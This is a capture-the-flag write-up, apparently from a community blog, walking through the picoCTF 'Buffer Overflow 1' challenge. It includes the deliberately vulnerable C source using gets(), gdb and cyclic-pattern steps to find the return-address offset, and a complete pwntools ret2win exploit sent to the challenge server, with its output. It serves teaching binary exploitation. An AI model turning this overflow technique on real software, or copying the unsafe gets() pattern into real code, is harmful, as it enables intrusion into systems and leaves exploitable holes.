PicoCTF Buffer Overflow 1 Writeup — Overwrite a Return Address to Call win()

Pwn 2026-11-09 · picoGym · By CTFdojo · ⏱ ... · 👁 ... views
𝕏 Share
TL;DR

This time, the goal isn't to overwrite a simple variable but the function's own return address, to redirect execution to a win() function present in the binary but never normally called — the classic technique known as "ret2win".

PlatformpicoGym
CategoryBinary Exploitation (Pwn)
Points300 pts
DifficultyIntermediate
TechniqueRet2win, return address overwrite

Challenge description

The provided source code looks like this:

void win(){
    printf("Congratulations!\n");
    system("/bin/cat flag.txt");
}

void vuln(){
    char buf[128];
    printf("Please enter your string: \n");
    gets(buf);
    printf("Ok, now what's your name?\n");
    char name[64];
    gets(name);
    printf("Hello %s\n", name);
}

int main(){
    vuln();
    return 0;
}

The win() function prints the flag, but it isn't called anywhere in main() or vuln(). The only way to reach it is to force the program to jump there directly.

Step 1 — Find the address of win()

Since the binary is not compiled as PIE (Position Independent Executable), function addresses are fixed and known in advance. We can grab them easily with objdump:

$ objdump -d ./vuln | grep ':'
0000000000401216 :

Or directly from gdb:

gdb-peda$ info functions win
All functions matching regular expression "win":
0x0000000000401216  win

gdb-peda$ p win
$1 = {} 0x401216 

The address of win() is therefore 0x401216.

Step 2 — Find the offset to the return address

Rather than computing the offset by hand, we use a cyclic pattern generated by pwntools. We run the binary in gdb, send the pattern, and observe the value that overwrites the instruction pointer (RIP in 64-bit) at the moment of the crash:

from pwn import cyclic
print(cyclic(200))
# aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaz...
gdb-peda$ run
Please enter your string:
> aaaabaaacaaadaaaeaaaf...
[...]
Program received signal SIGSEGV, Segmentation fault.
RIP: 0x6161616c61616b61 ('aakaaal')

gdb-peda$ python from pwn import *; print(cyclic_find(0x6161616c61616b61))
136

The offset between the start of the buffer and the overwritten return address is therefore 136 bytes.

Step 3 — Build the payload

The final payload consists of 136 padding bytes, followed by the address of win() packed into 8 bytes (64-bit architecture, so p64() rather than p32()):

payload = b'A' * 136 + p64(0x401216)

Full exploit

from pwn import *

context.binary = elf = ELF('./vuln')
context.log_level = 'info'

# io = process('./vuln')
io = remote('mercury.picoctf.net', 54321)

offset = 136
win_addr = elf.symbols['win']

log.info(f"win() address: {hex(win_addr)}")

payload = b'A' * offset
payload += p64(win_addr)

io.recvuntil(b'string: \n')
io.sendline(payload)

io.recvline()  # "Ok, now what's your name?"
io.sendline(b'ctfdojo')  # answer anything for the 2nd gets()

print(io.recvall().decode())

Step 4 — Run the exploit

By sending this payload, the ret in vuln() no longer returns to main() but jumps straight to win(), which executes system("/bin/cat flag.txt"):

$ python3 exploit.py
[+] Opening connection to mercury.picoctf.net on port 54321: Done
[*] win() address: 0x401216
Congratulations!
picoCTF{***************************}
[*] Closed connection to mercury.picoctf.net port 54321

Note: this technique works directly because the binary is compiled without PIE — the address of win() is fixed and known at compile time. If PIE had been enabled, function addresses would be randomized on every run, and we would first have needed to leak an address (for example via an information leak) to compute the real offset before being able to target win() precisely.

🚩 picoCTF{flag intentionally hidden}

The flag is deliberately hidden — follow the method, you've earned it. 💪

Key takeaways

Ret2win illustrates the founding principle of all binary exploitation: controlling the return address means controlling the program's flow of execution.

Resources

Related reading

Pwn 2026-11-02 · picoGym

PicoCTF Buffer Overflow 0 Writeup — Overwrite a Variable to Unlock the Flag

Overwrite a control variable via a buffer overflow to unlock the flag.

CTFdojo
CTFdojo
Community of ethical hackers writing beginner-friendly CTF writeups and guides.

Got a question or a different approach?

Discuss this writeup with the community on the CTFdojo Discord.

Join the Discord →